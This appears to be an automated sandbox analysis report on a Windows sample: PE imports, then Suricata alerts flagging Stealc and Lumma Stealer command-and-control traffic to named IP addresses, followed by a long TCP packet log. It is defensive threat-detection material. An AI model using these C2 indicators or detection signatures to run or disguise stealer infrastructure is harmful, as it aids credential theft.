.reloc	0x7d000	0x1ad4	0x1c00	16092792d232aa39e24b762c0f4a37ab	False	0.7273995535714286	data	6.393192590005456	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7c058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T18:00:21.035441+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:21.222223+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:21.228737+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.6	49718	TCP
2024-10-07T18:00:21.429675+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:21.436580+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.6	49718	TCP
2024-10-07T18:00:22.010410+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:22.181598+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:25.507410+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:26.463237+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:27.032496+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:27.559167+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:29.654102+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:30.128557+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49718	46.8.231.109	80	TCP
2024-10-07T18:00:32.293584+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49724	147.45.44.104	80	TCP
2024-10-07T18:00:34.302042+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49725	188.114.97.3	443	TCP
2024-10-07T18:00:34.302042+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49725	188.114.97.3	443	TCP
2024-10-07T18:00:35.584403+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49726	188.114.97.3	443	TCP
2024-10-07T18:00:35.584403+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49726	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:00:12.385200977 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.385226011 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.386023045 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.386149883 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.390674114 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.391030073 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.391201019 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.499095917 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.502228022 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.507136106 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.524775982 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.524916887 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.525005102 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.527745962 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.527884960 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.527997971 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.528040886 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.528059959 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.528103113 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.530267000 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.530388117 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.533128023 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.536178112 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.630268097 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.633255959 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.682178020 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.712065935 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.712127924 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.712234020 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.715207100 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.715280056 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.720067978 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.720191002 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.736830950 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.739801884 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.739857912 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.745090961 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.794935942 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.797549009 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.807638884 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.807770014 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.807845116 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.811248064 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.811897039 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.816823959 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.833031893 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.833065033 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.833123922 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.836172104 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.836951017 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.842266083 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.890227079 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.892755985 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.903613091 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.903666019 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.903814077 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.905508995 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.907067060 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.912213087 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.981054068 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.981221914 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.981306076 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.984391928 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.984548092 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.986555099 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:12.988987923 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:12.989469051 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.002845049 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.003154993 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.003309965 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.006124973 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.006428003 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.011542082 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.077471018 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.077574015 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.077588081 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.077645063 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.103559971 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.103571892 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.103588104 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.103691101 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.178116083 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.178347111 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.183675051 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.247315884 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.270750999 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.270762920 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:13.270889044 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.280776978 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.299706936 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.300107002 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:13.579570055 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.188930035 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.338942051 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.338990927 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.342749119 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.342878103 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.343770981 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.343853951 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.344552994 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.345802069 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.345881939 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.346889019 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.346961021 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.347743034 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.347754002 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.347757101 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.347764969 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.352569103 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.352660894 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.399666071 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.402420998 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.403224945 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.407483101 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.424881935 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.425656080 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.425766945 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.428807020 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.476788998 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.487461090 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.490369081 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.490468025 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.490598917 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.492628098 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.495518923 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.496154070 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.496210098 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.496447086 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.496515036 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.498648882 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.498856068 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.503525972 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.546190977 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.573379993 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.576591015 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.582266092 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.585172892 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.585680962 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.585788965 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.588690042 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.588690042 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.591366053 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.591459990 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.591603994 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.591696978 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.593705893 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.594185114 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.594280005 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.599704027 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.668035984 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.671150923 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.681396961 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.681569099 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.681659937 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.684273958 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.684370041 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.685545921 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.685590029 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.685625076 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.685652018 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.688029051 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.688085079 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.689502954 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.693176031 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.764126062 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.768352032 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.775793076 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.778947115 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.780368090 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.780420065 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.780440092 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.780466080 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.783847094 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.784061909 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.788599968 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.830132008 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.857105970 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.863076925 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.863096952 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.866029978 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.868000031 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.870824099 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.871511936 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.874387980 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.876410961 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.876422882 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.876476049 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.876494884 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.880412102 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.881102085 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.885202885 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.926378965 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.954221964 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.957304001 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.959368944 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.961750031 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.962969065 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.968362093 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.972398996 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.973507881 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.973588943 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.974375010 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:14.974431992 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.976706028 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.976810932 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:14.981647968 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.022422075 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.051610947 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.055926085 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.056637049 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.058943987 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.060957909 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.064034939 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.064546108 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.066786051 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.069413900 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.069494963 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.069782019 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.069833994 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.071953058 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.072107077 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.076950073 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.118231058 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.146996021 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.150408983 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.154722929 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.155409098 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.157542944 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.159811974 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.159979105 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.162317991 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.165054083 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.165163040 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.165349007 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.165396929 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.167989016 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.168070078 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.172873974 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.219491005 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.245836973 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.248938084 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.250758886 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.253415108 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.254614115 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.255887985 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.255947113 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.257664919 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.261445045 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.261542082 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.262023926 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.262077093 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.264130116 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.264389038 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.269150019 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.310096025 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.342701912 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.346271992 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.351959944 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.371032000 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.371048927 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.371058941 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.371181965 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.374381065 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.374413967 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.379878044 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.434935093 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.438114882 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.438160896 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.443162918 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.453767061 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.458321095 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.476231098 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.476294994 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.476382017 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.479429960 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.479497910 CEST	49716	443	192.168.2.6	13.107.246.45
Oct 7, 2024 18:00:15.484549999 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.530483961 CEST	443	49716	13.107.246.45	192.168.2.6
Oct 7, 2024 18:00:15.531409025 CEST	443	49716	13.107.246.45	192.168.2.6
